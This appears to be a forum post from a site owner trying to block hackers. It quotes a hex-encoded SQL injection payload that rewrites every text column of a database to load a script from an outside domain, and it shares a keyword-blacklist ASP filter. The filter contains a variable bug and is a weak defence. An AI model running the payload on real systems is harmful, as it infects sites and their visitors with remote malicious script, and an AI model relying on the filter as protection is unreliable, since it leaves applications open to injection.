I am trying to block from the hackers.
Expand|Select|Wrap|Line Numbers
- (CAST(0X4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
Expand|Select|Wrap|Line Numbers
- <%
- 'Use these Constants to designate the type of Event Log.
- const TYP_SUCCESS = 0
- const TYP_ERROR = 1
- const TYP_WARNING = 2
- const TYP_INFORMATION = 4
- const TYP_AUDIT_SUCCESS = 8
- const TYP_AUDIT_FAILURE = 16
- Dim Con
- ' SQL Injection blocking
- Dim strQuery, strVariable, strValue
- strQuery = UCase(Request.QueryString)
- strQuery = Replace(strValue, "(CAST", "")
- For Each strVariable In Request.QueryString
- strValue = UCase(Request.QueryString(strVariable))
- If (InStr(strValue,"EXEC(") > 0 OR _
- InStr(strValue,"CAST(") > 0 OR _
- InStr(strValue,";--") > 0 OR _
- InStr(strValue,"'") > 0) AND _
- strValue <> "Exec" AND _
- strValue <> "CAST" AND _
- strValue <> ";--" AND _
- strValue <> "'" Then
- Response.Write "It appears your request contains illegal values. Please use your back button to change the data or contact .com"
- WriteEventLog "Illegal internet request detected (" & strValue & " - " & Request.ServerVariables("PATH_INFO") & " - " & Request.ServerVariables("REMOTE_ADDR") & ")", TYP_WARNING
- Response.End
- End If
- Next
- For Each strVariable In Request.Form
- strValue = UCase(Request.Form(strVariable))
- If (InStr(strValue,"EXEC(") > 0 OR _
- InStr(strValue,"CAST(") > 0 OR _
- InStr(strValue,";--") > 0 OR _
- InStr(strValue,"'") > 0) AND _
- strValue <> "Exec" AND _
- strValue <> "CAST" AND _
- strValue <> ";--" AND _
- strValue <> "'" Then
- Response.Write "It appears your request contains illegal values. Please use your back button to change the data or contact .com"
- WriteEventLog "Illegal internet request detected (" & strValue & ")", TYP_WARNING
- Response.End
- End If
- Next